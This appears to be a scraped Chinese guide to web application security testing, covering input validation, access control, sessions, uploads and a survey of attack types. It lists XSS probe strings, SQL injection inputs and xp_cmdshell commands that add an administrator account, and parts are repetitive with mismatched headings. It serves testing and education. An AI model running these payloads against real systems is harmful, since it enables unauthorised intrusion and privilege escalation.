安全性测试
安全性测试主要是测试系统在没有授权的内部或者外部⽤户对系统进⾏攻击或者恶意破坏
时如何进⾏处理,是否仍能保证数据和页⾯的安全。测试⼈员可以学习⼀些⿊客技术,来对系统进⾏攻击。另外,对操作权限的测试也包含在安全性测试中。具体测试内容如下:执⾏添加、删除、修改等动作中是否做过登录检测。退出系统之后的操作是否可以完成。
所有插⼊表单操作中输⼊特殊字符是否可以正常输正常存储,特殊字符为:!?#¥%……—*()~——-+=[]{}、|;:‘”?/《》<>,。
在带有参数的回显数据的动作中更改参数,把参数改为特殊字符并加⼊操作语句看是否出错。测试表单中有没有做标签检测,标签检测是否完整。
在插⼊表单中加⼊特殊的HTML代码,例如:表单中的字本是否移动?。系统安全性测试的⼗个重要问题1:没有被验证的输⼊测试⽅法:
数据类型(字符串,整型,实数,等)允许的字符集最⼩和最⼤的长度是否允许空输⼊参数是否是必须的重复是否允许数值范围
特定的值(枚举型)特定的模式(正则表达式)2:有问题的访问控制测试⽅法:
主要⽤于需要验证⽤户⾝份以及权限的页⾯,复制该页⾯的url地址,关闭该页⾯以后,查看是否可以直接进⼊该复制好的地址;
例:从⼀个页⾯链到另⼀个页⾯的间隙可以看到URL地址,直接输⼊该地址,可以看到⾃⼰没有权限的页⾯信息;3:错误的认证和会话管理
分析:帐号列表:系统不应该允许⽤户浏览到⽹站所有的帐号,如果必须要⼀个⽤户列表,推荐使⽤某种形式的假名(屏幕名)来指向实际的帐号。
浏览器缓存:认证和会话数据作为GET的⼀部分来发送
认证和会话数据不应该作为GET的⼀部分来发送,应该使⽤POST,
例:对Grid、Label、Tree view类的输⼊框未作验证,输⼊的内容会按照html语法解析出来;4:跨站脚本(XSS)
分析:攻击者使⽤跨站脚本来发送恶意代码给没有发觉的⽤户,窃取他机器上的任意资料;测试⽅法:HTML标签:<…>…
转义字符:&(&);<(<);>(>); (空格) ;脚本语⾔:…Alert(‘’)
特殊字符:‘’ < > /最⼩和最⼤的长度是否允许空输⼊
例:对Grid、Label、Tree view类的输⼊框未作验证,输⼊的内容会按照html语法解析出来5:缓冲区溢出没有加密关键数据
分析:⽤户使⽤缓冲区溢出来破坏web应⽤程序的栈,通过发送特别编写的代码到web程序中,攻击者可以让web应⽤程序来执⾏任意代码。
例:view-source:http地址可以查看源代码
在页⾯输⼊密码,页⾯显⽰的是 *****, 右键,查看源⽂件就可以看见刚才输⼊的密码;6:注⼊式漏洞
分析:⽤户登录处、不⽤登录可以查看到的数据库中的数据列表尤为重要。例:⼀个验证⽤户登陆的页⾯,如果使⽤的sql语句为:
Select * from table A where username=’’ + username+’’ and pass word ….Sql 输⼊‘ or 1=1 ――
就可以不输⼊任何password进⾏攻击;7:不恰当的异常处理
分析:程序在抛出异常的时候给出了⽐较详细的内部错误信息,暴露了不应该显⽰的执⾏细节,⽹站存在潜在漏洞;8:不安全的存储没有加密关键数据
分析:帐号列表:系统不应该允许⽤户浏览到⽹站所有的帐号,如果必须要⼀个⽤户列表,推荐使⽤某种形式的假名(屏幕名)来指向实际的帐号。
浏览器缓存:认证和会话数据不应该作为GET的⼀部分来发送,应该使⽤POST;例:view-source:http地址可以查看源代码在页⾯输⼊密码,页⾯不显⽰“*****”;在页⾯输⼊密码,页⾯显⽰的是 *****,数据库中存的密码没有经过加密;地址栏中可以看到刚才填写的密码;右键查看源⽂件就可以看见刚才输⼊的密码;9:拒绝服务
分析:Config中的链接字符串以及⽤户信息,邮件,数据存储信息都需要加以保护。攻击者可以从⼀个主机产⽣⾜够多的流量来耗尽狠多应⽤程序,最终使程序陷⼊瘫痪。需要做负载均衡来对付。10:不安全的配置管理
分析:Config中的链接字符串以及⽤户信息,邮件,数据存储信息都需要加以保护
程序员应该作的:配置所有的安全机制,关掉所有不使⽤的服务,设置⾓⾊权限帐号,使⽤⽇志和警报。例:数据库的帐号是不是默认为“sa”,密码(还有端⼝号)是不是直接写在配置⽂件⾥⽽没有进⾏加密。软件安全测试涉及的⽅⾯2.
⽤户名和密码是否设置密码最⼩长度
⽤户名和密码中是否可以有空格或回车?是否允许密码和⽤户名⼀致
防恶意注册:可否⽤⾃动填表⼯具⾃动注册⽤户?遗忘密码处理有⽆缺省的超级⽤户?有⽆超级密码?是否有校验码?
密码错误次数有⽆限制?3.
直接输⼊需要权限的⽹页地址可以访问
如:没有登录或注销登录后,直接输⼊登录后才能查看的页⾯的⽹址,能直接打开页⾯;注销后,点浏览器上的后退,可以进⾏操作。
正常登录后,直接输⼊⾃⼰没有权限查看的页⾯的⽹址,可以打开页⾯。5.
隐藏域与CGI参数
分析:有此隐藏域中泄露了重要的信息,有时还可以暴露程序原代码。直接修改CGI参数,就能绕过客户端的验证了。如:
只要改变value的值就可能会把程序的原代码显⽰出来。6.
上传⽂件没有限制
分析:上传⽂件最好要有格式的限制;上传⽂件还要有⼤⼩的限制。7.
把数据验证寄希望于客户端的验证
分析:客户端是不安全,重要的运算和算法不要在客户端运⾏。
重要的数据(如:密码)在客户端应该加密。
例:保存⽹页并对⽹页进⾏修改,使其绕过客户端的验证。(如只能选择的下拉框,对输⼊数据有特殊要求的⽂本框)13. 传输中的密码没有加密分析:传输中的密码要进⾏加密。
传输前加密⽤SSL加密,https的⽅式提交⽤户名和密码;如果使⽤tomcat做服务器的话,SSL加密只需配置就可以了:TOMCAT⽤https替换http的⽅法//////////////////////////////////////////////////////////////
⾸先⽤java的⼯具keytool ⽣成⼀个ssl证书:
keytool -genkey -keyalg RSA -alias youraliasname -keystor e .keystore输⼊keystore密码: yourpass您的名字与姓⽒是什么?[Unknown]: liubin您的组织单位名称是什么?[Unknown]: test您的组织名称是什么?
[Unknown]:http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html您所在的城市或区域名称是什么?[Unknown]: beijing
您所在的州或省份名称是什么?[Unknown]: beijing
该单位的两字母国家代码是什么[Unknown]: cn
CN=liubin, OU=test, O=http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html , L=beijing, ST=beijing, C=cn 正确吗?[否]: y输⼊的主密码
(如果和 keystore 密码相同,按回车):Web应⽤系统的安全性测试区域主要有:
(1)现在的Web应⽤系统基本采⽤先注册,后登陆的⽅式。因此,必须测试有效和⽆效的⽤户名和密码,要注意到是否⼤⼩写敏感,可以试多少次的限制,是否可以不登陆⽽直接浏览某个页⾯等。
(2)Web应⽤系统是否有超时的限制,也就是说,⽤户登陆后在⼀定时间内(例如15分钟)没有点击任何页⾯,是否需要重新登陆才能正常使⽤。
(3)为了保证Web应⽤系统的安全性,⽇志⽂件是⾄关重要的。需要测试相关信息是否写进了⽇志⽂件、是否可追踪。(4)当使⽤了安全套接字时,还要测试加密是否正确,检查信息的完整性。
(5)服务器端的脚本常常构成安全漏洞,这些漏洞⼜常常被⿊客利⽤。所以,还要测试没有经过授权,就不能在服务器端放置和编辑脚本的问题。我就顺着加⼏条吧:
1。登陆系统,点击退出系统,或者注销,然后点击IE的退出,看看能否再次登陆,这个对于安全也⽐较需要,主要测试的是退出系统后,对cok0kies
2。如果你的系统,客户端⽐较多,那么就要判断⼀个⽤户能否同时在不同的机器上登陆 3。使⽤了加密的软件,WEB系统运⾏后,加密软件异常,包括关闭,退出,此时你的WEb 系统安全怎么处理
4。你的WEB系统的教本信息是否会反应⼀些你的数据库信息,如,当前页⾯涉及了你的数据库⾥的那些表啦,等等。六、安全测试
Web应⽤系统的安全性测试区域主要有:1、⽬录设置
Web 安全的第⼀步就是正确设置⽬录。每个⽬录下应该有 index.html 或
main.html 页⾯,这样就不会显⽰该⽬录下的所有内容。如果没有执⾏这条规则。那么选中⼀幅图⽚,单击⿏标右键,找到该图⽚所在的路径\"…com/objects/images\"。然后在浏览器地址栏中⼿⼯输⼊该路径,发现该站点所有图⽚的列表。这可能没什么关系。但是进⼊下⼀级⽬录\"…com/objects\" ,点击 jackpot。在该⽬录下有很多资料,其中有些都是已过期页⾯。如果该公司每个⽉都要更改产品价格信息,并且保存过期页⾯。那么只要翻看了⼀下这些记录,就可以估计他们的边际利润以及他们为了争取⼀个合同还有多⼤的降价空间。如果某个客户在谈判之前查看了这些信息,他们在谈判桌上肯定处于上风。2.登录
现在的Web应⽤系统基本采⽤先注册,后登陆的⽅式。因此,必须测试有效和⽆效的⽤户名和密码,要注意到是否⼤⼩写敏感,可以试多少次的限制,是否可以不登陆⽽直接浏览某个页⾯等。3.Session
Web应⽤系统是否有超时的限制,也就是说,⽤户登陆后在⼀定时间内(例如15分钟)没有点击任何页⾯,是否需要重新登陆才能正常使⽤。4.⽇志⽂件
为了保证Web应⽤系统的安全性,⽇志⽂件是⾄关重要的。需要测试相关信息是否写进了⽇志⽂件、是否可追踪。5.加密
当使⽤了安全套接字时,还要测试加密是否正确,检查信息的完整性。6.安全漏洞
服务器端的脚本常常构成安全漏洞,这些漏洞⼜常常被⿊客利⽤。所以,还要测试没有经过授权,就不能在服务器端放置和编辑脚本的问题。
⽬前⽹络安全问题⽇益重要,特别对于有交互信息的⽹站及进⾏电⼦商务活动的⽹站尤其重要。⽬前我们的测试没有涵盖⽹站的安全性的测试,我们拟定采⽤⼯具来测定,⼯具如下
SAINT------- Security Administrator’s Integrated Network Tool 此⼯具能够测出⽹站系统的相应的安全问题,并且能够给出安全漏洞的解决⽅案,不过是⼀些较为常见的漏洞解决⽅案。应⽤系统安全测试⽅法及内容
安全性测试1、功能验证
⽅法,对涉及安全的软件功能,如:⽤户管
体⽅法可使⽤⿊盒测试⽅法。2、漏洞扫描
安全漏洞扫描通常都是借助于特定的漏洞扫描器完成的。漏洞扫描器是⼀种⾃动检测远程或本地主机安全性弱点的程序。通过使⽤漏洞扫描器,系统管理员能够发现所维护信息系统存在的安全漏洞,从⽽在信息系统⽹络安全保卫站中做到“有的放⽮”,
及时修补漏洞。按常规标准,可以将漏洞扫描分为两种类型:主机漏洞扫描器(Host Scanner)和⽹络漏洞扫描器(NetScanner)。主机漏洞扫描器是指在系统本地运⾏检测系统漏洞的程序,如著名的COPS、Tripewire、Tiger等⾃由软件。⽹络漏洞扫描器是指基于⽹络远程检测⽬标⽹络和主机系统漏洞的程序,如Satan、ISS Internet Scanner等。
安全漏洞扫描是可以⽤于⽇常安全防护,同时可以作为对软件产品或信息系统进⾏测试的⼿段,可以在安全漏洞造成严重危害前,发现漏洞并加以防范。3、模拟攻击实验
对于安全测试来说,模拟攻击测试是⼀组特殊的⿊盒测试案例,我们以模拟攻击来验证软件或信息系统的安全防护能⼒,下⾯简要列举在数据处理与数据通信环境中特别关⼼的⼏种攻击。在下列各项中,出现了“授权”和“⾮授权”两个术语。“授权”意指“授予权⼒”,包含两层意思:这⾥的权⼒是指进⾏某种活动的权⼒(例如访问数据);这样的权⼒被授予某个实体、代理⼈或进程。于是,授权⾏为就是履⾏被授予权⼒(未被撤销)的那些活动。
● 冒充:就是⼀个实体假装成⼀个不同的实体。冒充常与某些别的主动攻击形式⼀起使⽤,特别是消息的重演与篡改。例如,截获鉴别序列,并在⼀个有效的鉴别序列使⽤过⼀次后再次使⽤。特权很少的实体为了得到额外的特权,可能使⽤冒充成具有这些特权的实体,举例如下。
1)⼝令猜测:⼀旦⿊客识别了⼀台主机,⽽且发现了基于NetBIOS、Telnet或NFS服务的可利⽤的⽤户帐号,并成功地猜测出了⼝令,就能对机器进⾏控制。
2)缓冲区溢出:由于在很多地服务程序中⼤意的程序员使⽤类似于“strcpy(),strcat()”不进⾏有效位检查的函数,最终可能导致恶意⽤户编写⼀⼩段程序来进⼀步打开安全缺⼝,然后将该代码放在缓冲区有效载荷末尾,这样,当发⽣缓冲区溢出时,返回指针指向恶意代码,执⾏恶意指令,就可以得到系统的控制权。
● 重演:当⼀个消息或部分消息为了产⽣⾮授权效果⽽被重复时,出现重演。例如,⼀个含有鉴别信息的有效消息可能被另⼀个实体所重演,⽬的是鉴别它⾃⼰(把它当作其他实体)。
● 消息篡改:数据所传送的内容被改变⽽未被发觉,并导致⾮授权后果,如下所⽰。
1) DNS⾼速缓存污染:由于DNS服务器与其他名称服务器交换信息的时候并不进⾏⾝份验证,这就使得⿊客可以加⼊不正确得信息,并把⽤户引向⿊客⾃⼰的主机。
2)伪造电⼦邮件:由于SMTP并不对邮件发送者的⾝份进⾏鉴定,因此⿊客可以对内部客户伪造电⼦邮件,声称是来⾃某个客户认识并相信的⼈,并附上可安装的特洛伊⽊马程序,或者是⼀个指向恶意⽹站的链接。
● 服务拒绝:当⼀个实体不能执⾏它的正常功能,或它的动作防碍了别的实体执⾏它们的正常功能的时候,便发⽣服务拒绝。这种攻击可能是⼀般性的,⽐如⼀个实体抑制所有的消息,也可能是有具体⽬标的。例如,⼀个实体抑制所有流向某⼀特定⽬的端的消息,如安全审计服务。这种攻击可以是对通信业务流的抑制,或产⽣额外的通信业务流。也可能制造出试图破坏⽹络操作的消息,特别是如果⽹络具有中继实体,这些中继实体根据从别的中继实体那⾥接收到的状态报告,来做出路由选择的决定。拒绝服务攻击种类很多,举例如下。
1)死亡之ping(ping of death):由于在早期的阶段,路由器对包的最⼤尺⼨都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都规定为64KB,并且在读取包的标题后,要根据该标题头⾥包含的信息来为有效载荷⽣成缓冲区。当产⽣畸形的、声称⾃⼰的尺⼨超过ICMP上限,也就是加载尺⼨超过64K上限的包时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受⽅宕机。
2)泪滴(Teardorop):泪滴攻击利⽤那些在TCP/IP堆栈实现中信任IP碎⽚中的包的标题头所包含的信息来实现⾃⼰的攻击。IP分段含有指⽰该分段所包含的是原包的哪⼀段的信息,某些TCP/IP(包括Service Pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
3) UDP洪⽔(UDP Flood):各种各样的假冒攻击利⽤简单的TCP/IP服务,如Chargen 和Echo来传送毫⽆⽤处的数据以占满带宽。通过伪造与某⼀主机的Chargen服务之间的⼀次的UDP连接,回复地址指向开着Echo服务的⼀台主机,这样就⽣成在两台主机之间的⾜够多的⽆⽤数据流,如果数据流⾜够多,就会导致带宽的服务攻击。
4) SYN洪⽔(SYN Flood):⼀些TCP/IP栈的实现,只能等待从有限数量的计算机发来的ACK消息,因为它们只有有限的内存缓冲区⽤于创建连接,如果这⼀缓冲区充满了虚假连接的初始信息,该服务器就会对接下来的连接请求停⽌响应,直到缓冲区⾥的连接企图超时为⽌。在⼀些创建连接不受限制的实现⾥,SYN洪⽔也具有类似的影响。
5) Land攻击:在Land攻击中,⼀个特别打造的SYN包的原地址和⽬标地址都被设置成某⼀个服务器地址,这将导致接受服务器向它⾃⼰的地址发送SYN- ACK消息,结果,这个地址⼜发回ACK消息并创建⼀个空连接,每⼀个这样的连接都将保留,直到超时。各种系统对Land攻击的反应不同,许多UNIX实现将崩溃,NT变得极其缓慢(⼤约持续5分钟)。
6) Smurf攻击:⼀个简单的Smurf攻击,通过使⽤将回复地址设置成受害⽹络的⼴播地址的ICMP应答请求(ping)数据包,来淹没受害主机的⽅式进⾏,最终导致该⽹络的所有主机都对此ICMP应答请求作出答复,导致⽹络阻塞,⽐“Ping of
Death”洪⽔的流量⾼出⼀个或两个数量级。更加复杂的Smurf将源地址改为第三⽅的受害者,最终导致第三⽅雪崩。7) Fraggle攻击:Fraggle攻击对Smurf攻击作了简单的修改,使⽤的是UDP应答消息,⽽⾮ICMP。
8)电⼦邮件炸弹:电⼦邮件炸弹是最古⽼的匿名攻击之⼀,通过设置⼀台机器,不断⼤量地向同⼀地址发送电⼦邮件,攻击者能够耗尽接收者⽹络的带宽。
9)畸形消息攻击:各类操作系统上的许多服务都存在此类问题,由于这些服务在处理信息之前没有进⾏适当正确的错误校验,在收到畸形的信息时可能会崩溃。
● 内部攻击:当系统的合法⽤户以⾮故意或⾮授权⽅式进⾏动作时就成为内部攻击。多数已知的计算机犯罪都和使系统安全遭受损害的内部攻击有密切的关系。能⽤来防⽌内部攻击的保护⽅法包括:所有管理数据流进⾏加密;利⽤包括使⽤强⼝令在内的多级控制机制和集中管理机制来加强系统的控制能⼒;为分布在不同场所的业务部门划分VLAN,将数
据流隔离在特定部门;利⽤防⽕墙为进出⽹络的⽤户提供认证功能,提供访问控制保护;使⽤安全⽇志记录⽹络管理数据流等。
● 外部攻击:外部攻击可以使⽤的⽅法有:搭线(主动的与被动的)、截取辐射、冒充为系统的授权⽤户、冒充为系统的组成部分、为鉴别或访问控制机制设置旁路等。
● 陷阱门:当系统的实体受到改变,致使⼀个攻击者能对命令或对预定的事件或事件序列产⽣⾮授权的影响时,其结果就称为陷阱门。例如,⼝令的有效性可能被修改,使得除了其正常效⼒之外也使攻击者的⼝令⽣效。
● 特洛伊⽊马:对系统⽽⾔的特洛伊⽊马,是指它不但具有⾃⼰的授权功能,⽽且还有⾮授权功能。⼀个向⾮授权信道拷贝消息的中继就是⼀个特洛伊⽊马。典型的特洛伊⽊马有NetBus、BackOrifice和BO2k等。4、侦听技术
侦听技术实际上是在数据通信或数据交互过程,对数据进⾏截取分析的过程。⽬前最为流⾏的是⽹络数据包的捕获技术,通常我们称为Capture,⿊客可以利⽤该项技术实现数据的盗⽤,⽽测试⼈员同样可以利⽤该项技术实现安全测试。该项技术主要⽤于对⽹络加密的验证。安全性测试
安全性测试是有关验证应⽤程序的安全服务和识别潜在安全性缺陷的过程。此节包括⼀些重要的测试建议,⽤来验证已创建安全的应⽤程序。
由于攻击者没有闯⼊的标准⽅法,因⽽也没有实施安全性测试的标准⽅法。另外,⽬前⼏乎没有可⽤的⼯具来彻底测试各个安全⽅⾯。由于应⽤程序中的功能错误也可代表潜在的安全性缺陷,因此在实施安全性测试以前需要实施功能测试。
有⼀点很重要,应注意安全性测试并不最终证明应⽤程序是安全的。⽽是只⽤于验证所设⽴对策的有效性,这些对策是基于威胁分析阶段所做的假设⽽选择的。
下⾯提供测试应⽤程序安全性的⼀些建议。测试缓冲区溢出
缓冲区溢出是计算机历史中被利⽤的第⼀批安全错误之⼀。⽬前,缓冲区溢出继续是最危险也是最常发⽣的弱点之⼀。试图利⽤这种脆弱性可以导致种种问题,从损坏应⽤程序到攻击者在应⽤程序进程中插⼊并执⾏恶意代码。
将数据写⼊缓冲区时,开发⼈员向缓冲区写⼊的数据不能超出其所能存放的数据。如果正在写⼊的数据量超出已分配的缓冲区空间,将发⽣缓冲区溢出。当发⽣缓冲区溢出时,会
将数据写⼊到可能为其他⽤途⽽分配的内存部分中。最坏的情形是缓冲区溢出包含恶意代码,该代码随后被执⾏。缓冲区溢出在导致安全脆弱性⽅⾯所占的百分⽐很⼤。实施源代码安全检查
根据所讨论应⽤程序的敏感程度,实施对应⽤程序源代码的安全审核可能是明智的。不要将源代码审核与代码检查相混淆。标准代码检查的⽬的是识别影响代码功能的⼀般代码缺陷。源代码安全检查的⽬的则是识别有意或⽆意的安全性缺陷。开发处理财政事务或提供公共安全的应⽤程序时尤其应保证进⾏这种检查。验证应急计划
总是存在应⽤程序的安全防御被突破的潜在可能,只有应急计划就位并有效才是明智的。在应⽤程序服务器或数据中⼼检测到病毒时将采取哪些步骤?安全性被越过时,必须迅速作出反应来防⽌进⼀步损坏。在应急计划投⼊实战以前请弄清它们是否起作⽤。
攻击您的应⽤程序
测试⼈员习惯于攻击应⽤程序以试图使其失败。攻击您⾃⼰的应⽤程序是与其类似但⽬的更集中的过程。尝试攻击应⽤程序时,应寻找代表应⽤程序防御弱点的、可利⽤的缺陷。
Web应⽤程序的安全性问题依其存在的形势划分,种类繁多,这⾥不准备介绍所有的,只介绍常见、⽐较常见和有点常见这种级别的。我相信从Web应⽤安全⾓度来说,会⽐你从⽹上搜的要全⾯的多。以下是这些安全性问题的列表:1、跨站脚本攻击(CSS or XSS, Cross Site Scripting)2、SQL注⼊攻击(SQL injection)
3、远程命令执⾏(Code execution,个⼈觉得译成代码执⾏并不确切)4、⽬录遍历(Directory traversal)5、⽂件包含(File inclusion)
6、脚本代码暴露(Script source code disclosure)
7、Http请求头的额外的回车换⾏符注⼊(CRLF injection/HTTP response splitting) 8、跨帧脚本攻击(Cross Frame Scripting)9、PHP代码注⼊(PHP code injection)10、XPath injection
11、Cookie篡改(Cookie manipulation)12、URL重定向(URL redirection)
13、Blind SQL/XPath injection for numeric/String inputs14、Google Hacking
Web Application Security Consortium(WASC)将Web应⽤安全威胁分为如下六类:1 Authentication(验证)
⽤来确认某⽤户、服务或是应⽤⾝份的攻击⼿段。2 Authorization(授权)
⽤来决定是否某⽤户、服务或是应⽤具有执⾏请求动作必要权限的攻击⼿段。3 Client-Side Attacks(客户端攻击)
⽤来扰乱或是探测 Web 站点⽤户的攻击⼿段。4 Command Execution(命令执⾏)在 Web 站点上执⾏远程命令的攻击⼿段。5 Information Disclosure(信息暴露)⽤来获取 Web 站点具体系统信息的攻击⼿段。6 Logical Attacks(逻辑性攻击)
⽤来扰乱或是探测 Web 应⽤逻辑流程的攻击⼿段。
建⽴整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注⼊、⾝份验证和授权错误.1.输⼊验证
客户端验证服务器端验证(禁⽤脚本调试,禁⽤Cookies)1.输⼊很⼤的数(如4,294,967,269),输⼊很⼩的数(负数)
2.输⼊超长字符,如对输⼊⽂字长度有限制,则尝试超过限制,刚好到达限制字数时有何
反应
3.输⼊特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输⼊中英⽂空格,输⼊字符串中间含空格,输⼊⾸尾空格5.输⼊特殊字符串NULL,null,0x0d 0x0a6.输⼊正常字符串
7.输⼊与要求不同类型的字符,如: 要求输⼊数字则检查正值,负值,零值(正零,负零),⼩数,字母,空值; 要求输⼊字母则检查输⼊数字8.输⼊html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对⽐其与问题最终页的回答数,还要对回答进⾏添加删除等操作后查看变化例如:
1.输⼊”gfhd,看是否出错;2.输⼊3.输⼊看是否出现提⽰。关于上传:
1.上传⽂件是否有格式限制,是否可以上传exe⽂件;
2.上传⽂件是否有⼤⼩限制,上传太⼤的⽂件是否导致异常错误,上传0K的⽂件是否会导致异常错误,上传并不存在的⽂件是否会导致异常错误;
3.通过修改扩展名的⽅式是否可以绕过格式限制,是否可以通过压包⽅式绕过格式限制;4.是否有上传空间的限制,是否可以超过空间所限制的⼤⼩,如将超过空间的⼤⽂件拆分上传是否会出现异常错误。
5.上传⽂件⼤⼩⼤于本地剩余空间⼤⼩,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。7.对于⽂件名中带有中⽂字符,特殊字符等的⽂件上传。下载:
1.避免输⼊:\\..\\web.2.修改命名后缀。关于URL:
1.某些需登录后或特殊⽤户才能进⼊的页⾯,是否可以通过直接输⼊⽹址的⽅式进⼊;
2.对于带参数的⽹址,恶意修改其参数,(若为数字,则输⼊字母,或很⼤的数字,或输⼊特殊字符等)后打开⽹址是否出错,是否可以⾮法进⼊某些页⾯;
3.搜索页⾯等url中含有关键字的,输⼊html代码或JavaScript看是否在页⾯中显⽰或执⾏。4.输⼊善意字符。UBB:
[url=http://www.****.com] 你的⽹站[/url]
,看是否出现⽂本框;
1.试着⽤各种⽅式输⼊UBB代码,⽐如代码不完整,代码嵌套等等.2.在UBB代码中加⼊属性,如样式,事件等属性,看是否起作⽤3.输⼊编辑器中不存在的UBB代码,看是否起作⽤[url=javascript:alert('hello')]链接[/url][email=javascript:alert('hello')]EMail[/email]
[email=yangtao@http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html STYLE=\"background-image:url(javascript:alert('XSS'))\"]yangtao@http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html [/email][img]http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html /2007713015578593_03.jpgstyle=\"background-image:url(javascript:alert('alert(xss)'))\"[/img]
[img]http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html /photo/2007-7/2007713015578593_03.jpg\"onmouseover=alert('hello');\"[/img]
[b STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⾸诗酸涩涩服务⽹[/b][i STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/i][u]⼀⼆三四五六七北京市[/u]
[font=微软雅⿊\" STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/font][size=4\" STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/size][color=Red\" STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/color][align=center\" STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/align][float=left\" STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/float][font=微软雅⿊ STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/font][size=4 STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/size][color=Red STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/color][align=center STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/align][list=1]
[*]⼀⼆三四五六七北京市[/list][indent]⼀⼆三四五六七北京市[/indent]
[float=left STYLE=\"background-image: url(javascript:alert('XSS'))\"]⼀⼆三四五六七北京市[/float]
[media=ra,400,300,0]http://www.doczj.com/doc/c808f643cf84b9d528ea7a1d.html /posttopic.aspx?forumid=109[ /media]2.输出编码
常⽤的测试输⼊语句有:
1.jpg\" onmouseover=\"alert('xss')\">
http://xxx';alert('xss');var/ a='a
‘”>xss&<
a=”\\” ; b=”;alert(/xss/);//”
“’”‘”’“””““““”““‘”title=””
对输出数据到输出数据的对⽐,看是否出现问题。3.防⽌SQL注⼊Admin--‘or --‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;and 1=2 ; ‘and 1=2and 2=2and user>0
and (select count(*) from sysobjects)>0and (select count(*) from msysobjects)>0and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段);exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—and 0<>(select count(*) from admin)
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以⽤where xtype=cha r(85)代替;如果字符是中⽂的,⽐如where name=’⽤户’,可以⽤where name=nchar(2 9992)+nchar(25143)代替。4.跨站脚本攻击(XSS)
对于 XSS,只需检查 HTML 输出并看看您输⼊的内容在什么地⽅。它在⼀个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?★~!@#$%^&*()_+<>,./?;'\"[]{}\\-★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E★★★★★★
★javascript:alert(/xss/)★javascript:alert(/xss/)★★★★=’>
★1.jpg\" onmouseover=\"alert('xss')★\">
★http://xxx';alert('xss');var/ a='a★’”>xss&<
★\"onmouseover=alert('hello');\"★&{alert('hello');}★>\"'>★>%22%27>★>\"'>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22★%22%2Balert(%27XSS%27)%2B%22★
★★★a?★
因篇幅问题不能全部显示,请点此查看更多更全内容